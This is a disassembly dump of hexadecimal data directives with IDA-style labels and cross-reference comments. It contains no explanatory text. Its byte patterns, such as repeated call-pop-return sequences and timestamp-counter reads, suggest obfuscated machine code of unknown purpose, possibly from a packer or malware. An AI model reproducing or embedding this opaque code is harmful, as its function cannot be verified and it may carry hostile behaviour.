		dd 50400000h, 50E546C3h, 8B766E5Eh, 28A0Fh, 78B60000h
		dd 9D958BF9h, 0C7064D23h, 4D186585h, 106h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 159D8B04h, 89064D23h, 4D4D8785h, 0CA816606h,	0B69028B3h
		dd 0D98A5076h, 0D3BF0F90h, 0C1BD8960h, 0F064D1Bh, 28Eh
		dd 6AD18B00h, 57006A05h, 3E8h
dword_544450	dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
					; DATA XREF: ___:off_43CD24o
		dd 35B7EF97h, 0BD892953h, 64D0E2Dh, 4D9F858Dh, 890F064Dh
		dd 6, 15B99D29h, 5090064Dh, 2850F52h, 8B000000h, 66310FD1h
		dd 5A0D53BBh, 9BB5058h,	90702DBFh, 5BD9BB66h, 4D8F858Dh
		dd 0BD29064Dh, 64D0091h, 0E8A0F50h, 0E9000000h,	9, 9D157556h
		dd 0C30A7F81h, 24048943h, 21919D89h, 95FF064Dh,	64D2AA5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 14C35242h
		dd 0DAED976Bh, 8B60D8D9h, 4D2579B5h, 259D8906h,	61064D30h
		dd 7C8A8D8Dh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 36B51EC3h, 2CC23F38h, 3B2D63Fh
		dd 1174C00Bh, 4D9F858Dh, 0FF50064Dh, 0BD8589D1h, 0EB064D4Dh
		dd 0BD85C70Ah, 0FF064D4Dh, 6AFFFFFFh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 3DFBC353h
		dd 2B036A32h, 4D2E919Dh, 80D88A06h, 950B4FDAh, 64D2239h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0E1F16AD8h, 14E99BA0h, 73000000h, 0B140837h
		dd 340A06B2h, 0F88F75F0h, 0C9FE13FBh, 8BE1355Dh, 0E585C6D1h
		dd 4D064D26h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	88C35646h, 4968F8A0h, 816469AFh, 0C75F2404h, 6A3FCBh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B5FFE4C3h, 64D2B69h, 2D719D8Bh, 858D064Dh, 65075D7h
		dd 88C0Fh, 1570000h, 4D05459Dh,	0D0FF5A06h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F3C35747h, 3951801Ch
		dd 11E97AE7h, 0C7000000h, 3BDCE2A3h, 0EA2305E9h, 0F2861CF9h
		dd 35E0235Bh, 2F498589h, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0FE015CC3h, 85C63FAFh
		dd 64D26E5h, 60DE8B45h,	68E0Fh,	9D290000h, 64D118Dh, 399B501h
		dd 0E861064Dh, 4, 8E726969h, 3F763ABBh,	8D0F5031h, 2, 448BD98Bh
		dd 0D88A0424h, 19B6008Bh, 4244489h, 1DEFBA56h, 585A3E84h
		dd 494DBA66h, 0B29B5FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0A83DE9C3h, 898D3138h
		dd 4D0581B5h, 0D7858D06h, 0F065075h, 82h, 0E9D0FF00h, 13h
		dd 57404380h, 8E82BEC3h, 8F8592FDh, 8DFEEF88h, 8923FC56h
		dd 4D231D85h, 15B53106h, 60064D2Dh, 880FC88Bh, 6, 0DA98D8Bh
		dd 8B61064Dh, 0D1958BD2h, 66064D0Ch, 0BD89D98Ch, 64D0A6Dh
		dd 0F04C1F6h, 1F084h, 19952900h, 0E9064D18h, 112h, 217D9D89h
		dd 9EB3064Dh, 0B1DB58Bh, 5E9064Dh, 94000000h, 948569EDh
		dd 1180C681h, 0BD890000h, 64D0BE9h, 2999BD83h, 0F00064Dh
		dd 1E85h, 8E800h, 0DCA40000h, 0EF5BFE15h, 0E680A06Bh, 0D08B5A7Ch
		dd 0BAE9h, 0B5BD2900h, 83064D1Bh, 840F003Eh, 0ABh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D3C35242h, 6DF38166h
		dd 0D8BF0F5Ah, 0CB816660h, 146A9D6Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 5CC35141h, 7069BEF8h, 0BE96Eh
		dd 8F380000h, 40794905h, 55699DEDh, 1195FF02h, 6A064D05h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 8840C350h, 7E856h, 0F0200000h, 0F01EB341h
		dd 0C1BD893Fh, 5B064D28h, 998D8961h, 0E9064D22h, 0FFFFFF57h
		dd 5820Fh, 0C2BA0000h, 0C7159DAAh, 106h, 69852900h, 0F064D13h
		dd 0BD83D7BFh, 64D4D87h, 0C6850F05h, 0E8000000h, 13h, 98E090CFh
		dd 0BC924DFh, 35E21251h, 59195690h, 0F8EDDE23h,	1DB58B5Ah
		dd 0BB064D23h, 2A1E9470h, 64B9h, 8E900h, 0DDDE0000h, 8D726135h
		dd 3E806FA2h, 2E840FE8h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A31AC352h
		dd 0A4EABA66h, 0E91DC380h, 15h,	1EC28166h, 57E8032h, 45840FC2h
		dd 89000000h, 4D0E1185h, 6A4606h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 3D9DD9C3h, 898D47F4h
		dd 4D0F198Dh, 850F4906h, 0FFFFFF8Ah, 25898529h,	0EE9064Dh
		dd 0BA000000h, 465F41C7h, 2BB1B589h, 8B66064Dh,	950B58D1h
		dd 64D25A5h, 1EBDBD83h,	0F00064Dh, 13484h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0DBF0BAC6h, 0B1BD019Eh, 60064D14h, 0C65BF853h, 4D26E585h
		dd 11E95406h, 90000000h, 8065A1D7h, 0A6308200h,	0E0224D9Ah
		dd 0B2E6F37Ah, 816CE381h, 4E81CD8h, 0F4000000h,	0FFF4EBEh
		dd 280h, 50D08B00h, 28E0F50h, 60000000h, 448B5B61h, 8E90424h
		dd 1B000000h, 0DA9009F5h, 8BD2A22Eh, 8B525000h,	0B2310FD6h
		dd 89585AD4h, 0B6042444h, 6A5811h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0FC3456C3h, 0A27B9719h
		dd 1B589DDh, 0FF064D13h, 4D0B29B5h, 0FD958906h,	8D064D15h
		dd 5075D785h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 495425BCh, 0D0FF3C8Ah, 1789958Bh
		dd 6A064Dh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Bh,	0BC35242h, 0D45839Bh, 0F9824DFAh, 1EBDB5FFh, 8166064Dh
		dd 0FF9801F2h, 0D1BF0FD0h, 6800F61h, 8B000000h,	4D23D195h
		dd 4585C706h, 1064D1Ch,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 15CCC356h
		dd 0D8589EEh, 0B064D21h, 4D0D2D95h, 0F606006h, 9523F6BFh
		dd 64D14E5h, 97C76861h,	0CE941A5h, 1A000000h, 0FD492175h
		dd 38C47AB3h, 81E72F0Dh, 97472434h, 6A41A5h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E58CA3C3h
		dd 8A8F4CBEh, 1D9D8BFEh, 6A064D18h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0F97A261Eh
		dd 315FA90Ch, 0B8995FFh, 9D8B064Dh, 64D2D45h, 599D8961h
		dd 50064D0Ah, 0CE8h, 4C194300h,	0D167DDF0h, 64A20060h
		dd 5B30B6FAh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0BB8BC357h,	61447EB6h
		dd 1F0D9589h, 858B064Dh, 64D2929h, 7E9h, 0D8053C00h, 0C61873E2h
		dd 6E9h, 7CD8600h, 0BFBBB67h, 2C840FC0h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 5C9DC350h, 0FF3EDF12h, 4D2E7195h, 661BB706h,	0C719CFBAh
		dd 4D0E1585h, 106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0E9D014EFh, 0Fh, 8D0C9DCEh
		dd 78CC2F8Ch, 9E4CFF5Ch, 836422E9h, 4D2969BDh, 840F0006h
		dd 2Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h
		dd 8FC35747h, 0B06746F0h, 0F5B529C7h
		dd 0FF064D2Eh, 4D0A5D95h, 0BD83F506h, 64D30F5h,	35840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0CB16C355h, 0A6F98412h, 9D8B0941h
		dd 64D1451h, 1F2995FFh,	8D29064Dh, 64D0FB1h, 54DBD83h
		dd 0F00064Dh, 3584h, 83DE8B00h,	4D1771BDh, 850F0006h, 26h
		dd 232D958Bh, 95FF064Dh, 64D3331h, 13E9DBB2h, 0F8000000h
		dd 115ABAD0h, 9969892Ah, 186E68B4h, 88726ABBh, 0BD83C518h
		dd 64D244Dh, 50840F00h,	66000000h, 81198DBAh, 4D257585h
		dd 400306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 89DA8BE0h, 4D29F18Dh, 0A5858106h
		dd 3064D31h, 0E8000040h, 8, 76A52C50h, 4F4688D0h, 6F1950Bh
		dd 0F5A064Dh, 9D9D2331h, 8D064D0Fh, 4D5E058Dh, 899EB706h
		dd 53006A01h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 662060B1h, 0AD71DA81h, 840FC233h, 0Bh, 5850Fh
		dd 81660000h, 0BAD19DDBh, 66812A30h, 66044189h,	310FD78Bh
		dd 338D8DFCh, 66064D5Eh, 189D78Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 21C35242h, 66BC0409h, 813BE487h
		dd 7B816CBh, 6AC2337Eh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 4A1AC352h, 8BAEB108h
		dd 4D0F419Dh, 13E906h, 0A9950000h, 683A4436h, 0B81B0864h
		dd 0D057171Ch, 0DED452E3h, 0BE818h, 80150000h, 82D2E350h
		dd 0F3D338DAh, 0C1B58969h, 5B064D1Bh, 6A044189h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 5D43C357h, 362178F7h, 589958Bh, 0BD83064Dh, 64D0E8Dh
		dd 18840F00h, 8B000000h, 4D0D8595h, 0F99D2906h,	0FF064D17h
		dd 4D30C995h, 0E5953106h, 83064D21h, 4D0ADDBDh,	850F0106h
		dd 60h,	38F0Fh,	0C2800000h, 52E90Ch, 0DE90000h,	0A2000000h
		dd 231EE4BCh, 0C025B075h, 0E4C098ABh, 5F97B58Bh, 6C7064Dh
		dd 0
		dd 5D35B58Bh, 6C7064Dh,	0
		dd 6AF38ACFh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 652EC356h, 958B42C7h, 64D22C5h
		dd 0E15BD83h, 0F00064Dh, 13684h, 0E9BD8300h, 1064D10h
		dd 116850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0FAB211C3h, 8BD88B66h, 4D4D7B8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0B193EE47h, 2F74AEC7h, 8A0F7164h
		db 6, 0
word_544F42	dw 0			; DATA XREF: ___:off_435748o
		dd 14ED958Bh, 1C6064Dh,	419D8900h, 60064D18h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 44C35242h, 1181958Bh
		dd 0E268064Dh, 5030B7BEh, 0DE852h, 0EF4B0000h, 0ACF7211Bh
		dd 5BCC606Dh, 0E94F7875h, 13h, 635387EBh, 6AE418F1h, 503E8E45h
		dd 31F31BD1h, 5A34C476h, 8BB7310Fh, 3481585Ah, 0B7BE6224h
		dd 0E19D8B30h, 6A064D1Bh, 0E19D89FFh, 0FF064D2Bh, 4D0B8995h
		dd 0A9958B06h, 61064D0Dh, 27E19D03h, 0F380064Dh, 595FF07h
		dd 52064D2Eh, 7B8D8B5Ah, 0F064D4Dh, 682h, 0C5BD8900h, 0FE064D23h
		dd 0EE901h, 261C0000h, 0CD3E3598h, 0CC1014AFh, 4610F6Bh
		dd 0C49BD83h, 0F01064Dh, 685h, 19950100h, 8B064D0Bh, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7FD81845h, 17A52FDBh, 0E890B326h, 8,	690C39D4h, 0DC668326h
		dd 2DAD9D8Bh, 835A064Dh, 4D1BD9BDh, 9750006h, 11BD83h
		dd 7400064Dh, 8B53501Ah, 75858BC0h, 89064D25h, 4D257585h
		dd 159D8D06h, 0FF064FB7h, 83585BD3h, 4D0011BDh,	18740006h
		dd 858B5350h, 64D2575h,	25758589h, 9D8D064Dh, 64FB404h
		dd 585BD3FFh, 6135BB66h, 45958B56h, 5B064D1Bh, 26AD958Bh
		dd 0C08B064Dh, 8E1EBB66h, 0DD59D8Bh, 0BD83064Dh, 64D0E15h
		dd 25850F00h, 0F000000h, 0C89h,	6820F00h, 1000000h, 4D0A7D8Dh
		dd 0F9BD8306h, 64D2Fh, 6840Fh, 9D8B0000h, 64D0E6Dh, 0E15BD83h
		dd 0F00064Dh, 3584h, 0E9B1B600h, 0Ah, 8B7E2339h, 176140DDh
		dd 0BD834642h, 64D0E21h, 17840F00h, 3000000h, 4D04019Dh
		dd 8B606006h, 0FE081F1h, 6141869Ah, 2E98166h, 0BD83619Ah
		dd 64D0E15h, 82840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7FC7C357h
		dd 0EF4E9D30h, 0D88A5124h, 21BD835Bh, 64D0Eh, 4F840Fh
		dd 0E8600000h, 14h, 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh
		dd 665C3139h, 2A470B27h, 1BDD9D8Bh, 0E95A064Dh,	12h, 0DE6774E6h
		dd 0EFF48589h, 0F0D3472Ah, 0BFD70EDAh, 0E96146B9h, 11h
		dd 3CB1C6A5h, 8C4B4752h, 73EEE72Dh, 7214A144h, 15BD8302h
		dd 64D0Eh, 1B840Fh, 958B0000h, 64D3339h, 294DBD83h, 0F00064Dh
		dd 884h, 815B5200h, 9BFE79D3h, 15BD835Eh, 64D0Eh, 4B840Fh
		dd 7E80000h, 6E000000h,	0CB43B9E2h, 8166C0C9h, 5A8F78E2h
		dd 1635BD83h, 0F00064Dh, 2C84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0F559C5CDh
		dd 95FFAFB3h, 64D2D41h,	2D1719BBh, 0E9C08B0Ch, 14h, 84685A7Bh
		dd 0F21B4A1Fh, 0C49AB79Eh, 88C5858h, 0DFDAC3D3h, 37B1BB66h
		dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501A74h
		dd 858BC08Bh, 64D31A5h,	31A58589h, 9D8D064Dh, 64FB77Ch
		dd 585BD3FFh, 11BD83h, 7400064Dh, 8B535018h, 4D31A585h
		dd 0A5858906h, 8D064D31h, 4FB41D9Dh, 5BD3FF06h,	66D18B58h
		dd 8B8713BBh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 17492BD5h, 68A0Fh, 8D890000h, 64D2C71h
		dd 0E15BD83h, 0F00064Dh, 48984h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 110F9B47h
		dd 81A78C85h, 851396DAh, 39BD8352h, 2064D11h, 28840Fh
		dd 14E90000h, 0E0000000h, 13F5C531h, 0AB7A6870h, 73342B2Ah
		dd 33C872AAh, 83FD3581h, 4D0ADDBDh, 850F0106h, 2, 0BD835B53h
dword_545350	dd 64D14E1h, 73840F00h,	0B6000000h, 0A6B760D9h,	4D7B8D8Bh
					; DATA XREF: ___:off_43CCE4o
		dd 7E9064Dh, 7B000000h,	3236AF3Fh, 958BAED5h, 64D0AA5h
		dd 9D8B01FEh, 64D1FBDh,	0F991F868h, 81D08B97h, 6E882404h
		dd 0CA816806h, 7CD12CF9h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 6D42FCC3h, 0C5BAFDA6h
		dd 0FCC0A080h, 0B8995FFh, 958B064Dh, 64D23D5h, 66BEB361h
		dd 6A60DF8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0DF68C353h, 155A86B4h,	99CCFECCh
		dd 4D7B8D8Bh, 4EB6064Dh, 1FE2FB3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 87C35747h, 688CEB80h, 53E61795h
		dd 3481FE8Ah, 0E6171524h, 0CA816653h, 0FF6AE5A7h, 6D19503h
		dd 95FF064Dh, 64D0B89h,	20099589h, 0F61064Dh, 0BD8DD0BFh
		dd 64D1299h, 0B099D33h,	4F8B064Dh, 52006A1Ch, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F9891A43h
		dd 825E1C31h, 399D8BEEh, 6A064D07h, 5022B301h, 0C89D88Bh
		dd 8D958B24h, 89064D15h, 4D1221BDh, 6A858D06h, 6606503Ch
		dd 0D0FFD78Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	7C35545h, 70155674h, 0D7BCE37Ah, 2B999D8Bh, 4F8B064Dh
		dd 1BA6620h, 66036A3Dh,	50D2B6BAh, 3CE2BA60h, 0C28B348Dh
		dd 240C8961h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	45C35646h, 14E9C8E8h, 5F000000h, 1380CE47h, 7FA4742Dh
		dd 77D1F437h, 0CB30BD0Fh, 8D6FA4A4h, 503C6A85h,	8E906h
		dd 0ADA00000h, 0EBCBB5E5h, 0D0FF8562h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 7AC35545h, 177C4BD7h, 38096DB7h
		dd 0BD8DD98Ah, 64D1299h, 2CD99D29h, 0BB66064Dh,	4F8B7234h
		dd 45958B1Ch, 6A064D25h, 39952301h, 91064D2Dh, 6E9h, 916B4E00h
		dd 50AAE19Bh, 66605250h, 870FFB8Bh, 0
		dd 50310F61h, 0F65B352h, 5A616031h, 91585A58h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 26C35646h, 858D67C8h
		dd 6503C6Ah, 0D8BBA66h,	8166D0FFh, 8B94CDC3h, 6A204Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0AECD37C3h, 36AD68Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0DCC35343h, 0CE91483h, 9F000000h, 0A1E2C6B4h
		dd 0DF62F50Ah, 81E488CEh, 0EC4705CAh, 8B665040h, 240C89D9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 41C35040h
		dd 96E90A2Dh, 952BAC1Fh, 64D0391h, 3C6A858Dh, 6A0650h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0C4AA35C3h, 68C811E8h, 2E15BD31h, 0D0FF064Dh, 1529BD89h
		dd 0F53064Dh, 8B5BDEBFh, 4D4D7B8Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 66B2DABCh
		dd 2F1DC381h, 0D98B01FEh, 4D7B858Bh, 0B529064Dh, 64D2541h
		dd 0D18B00FEh, 0BB66016Ah, 0C0688000h, 0E8BDA85Bh, 0Ch
		dd 91846A1Dh, 46ADB3DEh, 23F5555Ah, 0AE9h, 7FE2EC00h, 6B534FE5h
		dd 5B39ED64h, 3F240481h, 6A425744h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 80A2C357h
		dd 858DB8D7h, 6503C74h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0DAC35747h, 0F6CBCB81h, 0D0FF4470h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 79C35141h, 31006521h
		dd 4771065h, 29659D8Bh,	0BD83064Dh, 64D2FF9h, 0D840F00h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 26FEC356h, 8F78355Ah, 0BD83FC45h
		dd 64D1281h, 0DD850F01h, 0E8000000h, 14h, 0A6CE15ACh, 0E84DD8h
		dd 16E60F5Ah, 0F1DE1F38h, 4119EE0Dh, 8A0F52h, 5B000000h
		dd 7E8D8D5Bh, 0E806503Ch, 8, 2D06AFCFh,	0DF13CA89h, 2CF9BD09h
		dd 6A5A064Dh, 50006A03h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0CF647D8Ah, 9CBEB596h, 0A2D6BAACh
		dd 16A4DD3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	4BC35545h, 2FE19D8Bh, 0D1FF064Dh, 6AD68B66h, 8B66F901h
		dd 81016AD1h, 0B96F3BD3h, 0E9D1FF57h, 13h, 64FD2DEh, 105587CDh
		dd 0E3781947h, 59BB3D3Ah, 0E84284ADh, 0FA0E5C02h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D1C35141h, 530E1EC9h
		dd 0AE9206Ah, 0EB000000h, 9D83B334h, 0DBF164AFh, 679DBAE9h
		dd 0FF6A39AEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0FC35646h, 0FF7403BBh, 4D0B8995h, 0B8D18B06h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 16C35141h
		dd 720E4F6Ah, 6C79EDA4h, 89D6BF0Fh, 4D1B919Dh, 0FC00B06h
		dd 4784h, 49BD8300h, 64D11h, 3A840Fh, 8B660000h, 0C595FFDEh
		dd 6A064D06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9419C357h, 98FB9FA4h, 8D7CE9F0h
		dd 559D0Bh, 9D03064Dh, 64D2E5Dh, 15A9858Bh, 0C281064Dh
		dd 2BA7B137h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0C1EAC351h,	57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0CBB14F33h, 295D4D97h, 4D036DBDh, 0D98C6606h, 0AB60DA81h
		dd 0C1F62814h, 5B840F04h, 8B000000h, 4D110195h,	50E906h
		dd 1BBA0000h, 8B2C121Fh, 4D0B1DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 1FF6EC19h
		dd 0A60A48CCh, 8529C51Ch, 64D138Dh, 1180C681h, 0D38B0000h
		dd 0BD9958Bh, 6C7064Dh,	0
		dd 11CD958Bh, 0B25E064Dh, 0F88398h, 0C42840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0B0D197C3h, 16921481h, 834AB1CCh, 850F01F8h,	200h, 0B45958Bh
		dd 0B8064Dh, 0F9000000h, 840FC00Bh, 16Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 0AAC35747h, 3F6C85Fh
		dd 0F994FC41h, 5D3ADA81h, 8B60285Eh, 4D2DF1B5h,	55B58906h
		dd 61064D16h, 0F01F883h, 17184h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E8F0B0FAh
		dd 14h,	15C77E47h, 15A8A37h, 0A9DC784Ch, 520CEC8Fh, 2CC65677h
		dd 835ADC8Ah, 840F03F8h, 36h, 0D860Fh, 8E90000h, 10000000h
		dd 31F88585h, 89CC474Dh, 4D31219Dh, 50C02B06h, 74BD8D5Ah
		dd 60005B79h, 81F38B66h, 0AB37D0C6h, 0E7FF6110h, 3159D03h
		dd 1B8064Dh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 166AC350h, 0FE80914h
		dd 50000000h, 3FA587DDh, 426C8F29h, 0CCC53EFDh,	11E9710Eh
		dd 79000000h, 84A9E3FDh, 0B9CA0F8Eh, 194D1B1Bh,	46DE1A66h
		dd 74BD8D5Ah, 23005B79h, 4D14259Dh, 0E1B52906h,	0FF064D2Ah
		dd 55006AE7h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 10E8981Eh, 27000000h, 14BB2276h,	63E6029Ch
		dd 1AAD7FDAh, 0F85D5D3h, 683h, 19B52900h, 5B064D2Bh, 8A0F60h
		dd 61000000h, 24298589h, 0BD8D064Dh, 64D4407h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 18C35646h, 1E1F7825h
		dd 0C4E94B04h, 66000002h, 0A413EA81h, 11E9h, 0B6607700h
		dd 0A4ED51CCh, 0EDB39E16h, 958D37DEh, 85C74076h, 64D4DD6h
		dd 5, 31FD9D8Bh, 5B8064Dh, 8B000000h, 9A1E9D1h,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0A4ED51C3h, 0F02F883h, 0ED85h, 0EE900h, 0D3F0000h, 7E0FE25Ch
		dd 0C1230ADFh, 58C0FCADh, 0B8h,	0D88B6600h, 840FC00Bh
		dd 89h,	9E9h, 0EDA18F00h, 5D0C4D34h, 0F883231Ah, 83840F01h
		dd 89FFFFFFh, 4D2439B5h, 3F88306h, 0FE7C840Fh, 6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0A1A17BC3h, 6A5E748Fh, 0B8C1C7h, 66000000h, 0BD8DD38Bh
		dd 5B7974h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 19h,	61C35646h, 0DE640684h, 219D23E8h, 0FF064D04h, 0BD0153E7h
		dd 64D2C81h, 0FFBD8D5Ah, 89064D45h, 4D26E995h, 1A9E906h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BBB699C3h, 0E93B1958h, 9, 93C11113h, 0DFBD2D2h
		dd 0F883F9E0h, 51850F03h, 66000000h, 8DF90FBAh,	4D4793BDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0F45F4698h, 0E987C380h, 13Fh, 2CC98D89h
		dd 10E8064Dh, 87000000h, 0C1911183h, 0F7D39C13h, 2F22A29Eh
		dd 666D5582h, 5BD6F8BAh, 0F05F883h, 2D85h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0CD379E72h, 7F85C2AEh, 801E96Eh, 80F50000h, 0F883B4CFh
		dd 35850F06h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 4FDBC355h, 0D68BE1E9h
		dd 498BBD8Dh, 0BF0F064Dh, 0B1E9DAh, 9D8B0000h, 64D0B59h
		dd 0F07F883h, 7A85h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 6053D68Bh, 8166D38Ah
		dd 61E3ECCAh, 0D38B665Ah, 0C9BD8Dh, 9523064Dh, 64D0301h
		dd 141E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0EFFC4265h, 2D5A2E42h, 11E9h, 0E6AE2900h
		dd 7A496487h, 5380C92h,	183FCECCh, 0F2BA0DF2h, 8317E7C6h
		dd 850F0AF8h, 1Fh, 0BD8DD78Bh, 64D4B83h, 860F93B2h, 0Ah
		dd 5E9h, 4FF31900h, 0E96271h, 57000000h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 62C35040h, 5EDF72ABh
		dd 0B98589E3h, 0B9064D1Eh, 6B702B35h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 97C35242h, 9D89583Ch, 64D0E75h
		dd 0F003F83h, 6384h, 0BD2B6000h, 64D26B9h, 0E09BB866h
		dd 660F3061h, 0D1485CBBh, 0F5DF8BC9h, 10E847h, 67540000h
		dd 0D16B5FEh, 54E0FCCDh, 3F315ADAh, 0EE90145h, 87000000h
